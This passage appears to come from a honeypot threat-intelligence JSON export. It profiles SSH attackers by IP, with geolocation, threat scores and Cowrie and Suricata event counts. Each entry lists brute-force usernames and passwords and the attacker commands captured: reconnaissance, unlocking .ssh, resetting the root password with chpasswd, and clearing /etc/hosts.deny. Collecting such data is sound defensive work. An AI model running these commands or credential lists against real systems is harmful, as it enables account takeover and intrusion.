      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T00:27:00.600000+00:00",
        "last_seen_30d": "2026-04-03T00:28:20.001000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "83.118.24.18": {
      "attack_count": 732,
      "first_seen": "2026-04-21T15:19:11.560Z",
      "last_seen": "2026-04-25T15:41:21.630Z",
      "sessions": 88,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "ftpuser",
        "test",
        "postgres",
        "admin",
        "bot",
        "sammy",
        "tiger",
        "admin1234",
        "ankit",
        "appuser",
        "barcelona",
        "dd",
        "docker",
        "geonode",
        "hjh",
        "jose",
        "misha"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "123456a",
        "123456qwerty",
        "123@",
        "12qw!@QW",
        "1q2w3e",
        "1qaz!QAZ2wsx@WSX",
        "2wsx3EDC",
        "2wsx3edc@",
        "Aa12341234",
        "Aa2025",
        "Ab123123",
        "Abcd12345!",
        "Admin01",
        "Admin1234",
        "Admin@789",
        "Black@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:CLJI0eI4gBlk\"|chpasswd|bash",
        "echo \"root:KJp2WIv8tHIV\"|chpasswd|bash",
        "echo \"root:XaPFCskm0fJN\"|chpasswd|bash",
        "echo \"test777\\n2a0XrvQbUGaI\\n2a0XrvQbUGaI\\n\"|passwd",
        "echo \"tiger\\nSc7xpqEfVvme\\nSc7xpqEfVvme\\n\"|passwd",
        "echo -e \"test777\\n2a0XrvQbUGaI\\n2a0XrvQbUGaI\"|passwd|bash",
        "echo -e \"tiger\\nSc7xpqEfVvme\\nSc7xpqEfVvme\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": null,
      "asn": 132280,
      "as_org": "Symphony Communication Thailand PCL.",
      "threat_score": 38.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.7,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 926,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T15:19:11.560000+00:00",
        "last_seen_30d": "2026-04-25T15:42:23.557000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 732,
        "Suricata": 194
      }
    },
    "107.180.88.176": {
      "attack_count": 457,
      "first_seen": "2026-04-04T21:16:43.626Z",
      "last_seen": "2026-04-06T04:51:55.733Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "test",
        "admin",
        "ahmad",
        "n8n",
        "odoo",
        "postgres",
        "ubuntu",
        "user",
        "arun",
        "bot",
        "claude",
        "demo",
        "ec2-user",
        "ftp_user",
        "hassan",
        "ian",
        "server",
        "steam"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "12345678",
        "123456789",
        "123456q",
        "1qazXSW@",
        "1qazxsw2",
        "AAzz111",
        "ASDF",
        "Aa123Aa123",
        "Admin123!",
        "Admin12345678@123",
        "Bot02!",
        "Claude09",
        "London123",
        "N8n8",
        "Nb123456",
        "Password123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"N8n8\\n1weTroL9QZOP\\n1weTroL9QZOP\\n\"|passwd",
        "echo \"ahmad123\\nDYA5UCxzkAZR\\nDYA5UCxzkAZR\\n\"|passwd",
        "echo \"password\\nAhc3jMrBYvc1\\nAhc3jMrBYvc1\\n\"|passwd",
        "echo -e \"N8n8\\n1weTroL9QZOP\\n1weTroL9QZOP\"|passwd|bash",
        "echo -e \"ahmad123\\nDYA5UCxzkAZR\\nDYA5UCxzkAZR\"|passwd|bash",
        "echo -e \"password\\nAhc3jMrBYvc1\\nAhc3jMrBYvc1\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 8.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.7,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 587,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T21:16:43.626000+00:00",
        "last_seen_30d": "2026-04-06T04:53:03.567000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 457,
        "Suricata": 130
      }
    },
    "189.113.38.56": {
      "attack_count": 400,
      "first_seen": "2026-04-19T17:42:26.531Z",
      "last_seen": "2026-04-19T18:27:31.912Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "deploy",
        "adrian",
        "frappe",
        "ftp-user",
        "ftpuser01",
        "lh",
        "popuser",
        "postgres",
        "sambauser",
        "sammy",
        "teamspeak",
        "usuario2",
        "zjw"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123321",
        "123@123aA",
        "Default2024!",
        "Frappe2025",
        "Qazwsx1234567#$",
        "Qazwsx2021@123",
        "Sammy12",
        "Sss123456",
        "Teamspeak31",
        "Ubuntu18",
        "ZAQ!2wsx2018#",
        "ZAQ!2wsx2025!@",
        "ZZdd123",
        "admin2024",
        "admin@123",
        "adrian",
        "ali123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123@123aA\\nhL3ovDoNNc1L\\nhL3ovDoNNc1L\\n\"|passwd",
        "echo \"admin2024\\nxlaPtB6Mg9XV\\nxlaPtB6Mg9XV\\n\"|passwd",
        "echo \"admin@123\\nw3YXzUYEVOmp\\nw3YXzUYEVOmp\\n\"|passwd",
        "echo \"root:9DwGMrUX2vyk\"|chpasswd|bash",
        "echo -e \"123@123aA\\nhL3ovDoNNc1L\\nhL3ovDoNNc1L\"|passwd|bash",
        "echo -e \"admin2024\\nxlaPtB6Mg9XV\\nxlaPtB6Mg9XV\"|passwd|bash",
        "echo -e \"admin@123\\nw3YXzUYEVOmp\\nw3YXzUYEVOmp\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Campinas",
      "asn": 262875,
      "as_org": "IP AMERICA TELECOM LTDA",
      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 475,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T17:42:26.531000+00:00",
        "last_seen_30d": "2026-04-19T18:28:40.647000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 400,
        "Suricata": 75
      }
    },
    "37.143.61.132": {
      "attack_count": 331,
      "first_seen": "2026-04-20T19:41:47.870Z",
      "last_seen": "2026-04-20T20:36:36.714Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "deploy",
        "odoo",
        "dbuser",
        "ftpuser",
        "myuser",
        "odoo15",
        "oracle",
        "sammy",
        "test",
        "tushar",
        "ubuntu",
        "userftp",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "781220",
        "88888888",
        "@12345678",
        "Aa147258!",
        "Admin12!",
        "Alibaba123",
        "Change2024",
        "Ftpuser",
        "Odoo2",
        "Oracle01!",
        "Qq!123456",
        "a12345678.",
        "dbuser@123",
        "frappe12!",
        "mima1234",
        "myuserpassword",
        "odoo08",
        "odoo15"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Admin12!\\nUMyaeQavYYDm\\nUMyaeQavYYDm\\n\"|passwd",
        "echo \"frappe12!\\nNtVa0EoXqp4t\\nNtVa0EoXqp4t\\n\"|passwd",
        "echo \"root:Inh3ONVsNuJx\"|chpasswd|bash",
        "echo -e \"Admin12!\\nUMyaeQavYYDm\\nUMyaeQavYYDm\"|passwd|bash",
        "echo -e \"frappe12!\\nNtVa0EoXqp4t\\nNtVa0EoXqp4t\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 42831,
      "as_org": "UK Dedicated Servers Limited",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 405,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T19:41:47.870000+00:00",
        "last_seen_30d": "2026-04-20T20:37:38.326000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 74
      }
    },
    "190.129.122.12": {
      "attack_count": 330,
      "first_seen": "2026-04-13T19:16:06.909Z",
      "last_seen": "2026-04-13T20:02:12.930Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftp-test",
        "steam",
        "ubuntu",
        "claude",
        "db2inst1",
        "deploy",
        "deployer",
        "dev",
        "git",
        "jk",
        "misuser",
        "myuser",
        "n8n",
        "rico"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "12345678",
        "123qwe",
        "124",
        "A1234567890",
        "Aa168168",
        "Abcd@2026",
        "Claude20!",
        "M45uys51!",
        "Steam!@#",
        "XXqq1234",
        "asd123",
        "db2inst1",
        "ftp-test",
        "misuser",
        "n8n31",
        "q1w2e3r4"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"ftp-test\\nxWk06rDxWgZL\\nxWk06rDxWgZL\\n\"|passwd",
        "echo \"root:Ike1bU0YEGUD\"|chpasswd|bash",
        "echo \"root:k2p0s1dOhFSK\"|chpasswd|bash",
        "echo -e \"ftp-test\\nxWk06rDxWgZL\\nxWk06rDxWgZL\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Bolivia",
      "country_code": "BO",
      "city": "Cochabamba",
      "asn": 6568,
      "as_org": "EMPRESA NACIONAL DE TELECOMUNICACIONES SOCIEDAD ANONIMA",
      "threat_score": 16.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 401,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T19:16:06.909000+00:00",
        "last_seen_30d": "2026-04-13T20:03:16.652000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 330,
        "Suricata": 71
      }
    },
    "196.189.237.92": {
      "attack_count": 330,
      "first_seen": "2026-04-21T02:32:11.633Z",
      "last_seen": "2026-04-21T03:14:28.957Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "afa",
        "ubuntu",
        "ali",
        "customer",
        "deploy",
        "ftpuser",
        "git",
        "prashant",
        "sammy",
        "steam"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "110",
        "1111111",
        "12344321",
        "123qwe!@QWE",
        "A1234567O",
        "Aa10202540",
        "Abcd123456789!!",
        "Admin.123456",
        "P@ssw0rd",
        "Qazwsx11111@123",
        "Root1111@#",
        "Sammy22",
        "ZAQ!2wsx54321@123",
        "Zz123456..",
        "aaAA1234!",
        "afa",
        "git321"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"afa\\nqyaiyFIYjCRi\\nqyaiyFIYjCRi\\n\"|passwd",
        "echo \"root:ZPyA0xdoQzMo\"|chpasswd|bash",
        "echo \"root:pz56jlQLvsXO\"|chpasswd|bash",
        "echo -e \"afa\\nqyaiyFIYjCRi\\nqyaiyFIYjCRi\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Nazr\u0113t",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 401,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T02:32:11.633000+00:00",
        "last_seen_30d": "2026-04-21T03:15:38.096000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 330,
        "Suricata": 71
      }
    },
    "173.249.41.171": {
      "attack_count": 318,
      "first_seen": "2026-04-03T09:00:37.831Z",
      "last_seen": "2026-04-03T10:52:08.318Z",
      "sessions": 52,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "0h3I5Lik3P4rtY@v3r",
        "120592",
        "123321as",
        "123QWEasdzxc!@",
        "3245gs5662d34",
        "345gs5662d34",
        "929948",
        "Aa55558888",
        "Apr-90",
        "Aux123456",
        "Bhv123456",
        "Dockeruser123",
        "Fam123456",
        "KKK@123",
        "Kdb123456",
        "Krh123456",
        "Kyp123456",
        "Lli123456",
        "Lzx123456",
        "QWERasdf1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:389CzPhykMPQ\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 439,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T09:00:37.831000+00:00",
        "last_seen_30d": "2026-04-03T10:53:12.480000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 318,
        "Suricata": 121
      }
    },
    "136.232.11.10": {
      "attack_count": 267,
      "first_seen": "2026-04-25T06:15:56.568Z",
      "last_seen": "2026-04-28T15:15:52.502Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "john",
        "steam",
        "345gs5662d34",
        "bot",
        "eugene",
        "marina",
        "postgres",
        "scuser",
        "sftptest",
        "spooler",
        "test1",
        "ubuntu",
        "uno85",
        "yangtao"
      ],
      "passwords_attempted": [
        "1234",
        "12345678",
        "1234567890",
        "202501",
        "2glehe5t24th1issZs",
        "3245gs5662d34",
        "345gs5662d34",
        "4r3e2w1q!@#",
        "Bot27!",
        "Huawei1",
        "Mamacita19",
        "P@ssw0rdone",
        "Postgres16!",
        "Zxc12345",
        "apple@123",
        "asdfqwer",
        "eugene",
        "marina123",
        "meng",
        "parolagrea281337dutu"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:ZAmXuc8FLnYP\"|chpasswd|bash",
        "echo \"steam2026!\\nJDMvLkX1pVmR\\nJDMvLkX1pVmR\\n\"|passwd",
        "echo -e \"steam2026!\\nJDMvLkX1pVmR\\nJDMvLkX1pVmR\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 37.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 339,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T06:15:56.568000+00:00",
        "last_seen_30d": "2026-04-28T15:17:02.037000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 267,
        "Suricata": 72
      }
    },
    "152.32.172.177": {
      "attack_count": 263,
      "first_seen": "2026-04-09T13:45:28.738Z",
      "last_seen": "2026-04-09T14:26:12.124Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "josh",
        "ali",
        "bot",
        "db2fenc1",
        "dev",
        "frappe",
        "ftpuser",
        "kafka",
        "pos",
        "socks",
        "teamspeak",
        "testuser",
        "ubuntu",
        "user",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "1234567",
        "123456@ZXCV",
        "AAAAAA123456",
        "Ali6",
        "P@ssw0rd",
        "Password1",
        "Qwerty222222",
        "User2025!@#",
        "Vpn24!",
        "bot12",
        "bugaosuni",
        "dev28",
        "odoo2026",
        "passw0rd",
        "pos",
        "qwe.1234",
        "root111!@"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Password1\\nxEHgUbBcwrHZ\\nxEHgUbBcwrHZ\\n\"|passwd",
        "echo \"test\\nwUWrU1nVyufy\\nwUWrU1nVyufy\\n\"|passwd",
        "echo -e \"Password1\\nxEHgUbBcwrHZ\\nxEHgUbBcwrHZ\"|passwd|bash",
        "echo -e \"test\\nwUWrU1nVyufy\\nwUWrU1nVyufy\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 329,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T13:45:28.738000+00:00",
        "last_seen_30d": "2026-04-09T14:27:12.596000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 66
      }
    },
    "158.178.141.16": {
      "attack_count": 261,
      "first_seen": "2026-04-04T18:39:47.092Z",
      "last_seen": "2026-04-04T19:48:55.329Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "chris",
        "deploy",
        "es",
        "ftpuser",
        "ftpuser2",
        "git",
        "harry",
        "john",
        "nexus",
        "sammy",
        "sftpuser",
        "steam",
        "teamspeak",
        "test",
        "testuser",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "000000",
        "123",
        "123123",
        "12345",
        "123qweASD!",
        "654321",
        "Asd@123321",
        "Frappe5",
        "Lb123456",
        "Password#1",
        "Root666#$",
        "Sammy1234",
        "Teamspeak28",
        "Test05!",
        "abc123456!",
        "admin123",
        "ben"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:YrysK5hra8Md\"|chpasswd|bash",
        "echo \"root:uIXajXs4pC24\"|chpasswd|bash"
      ],
      "event_types": [
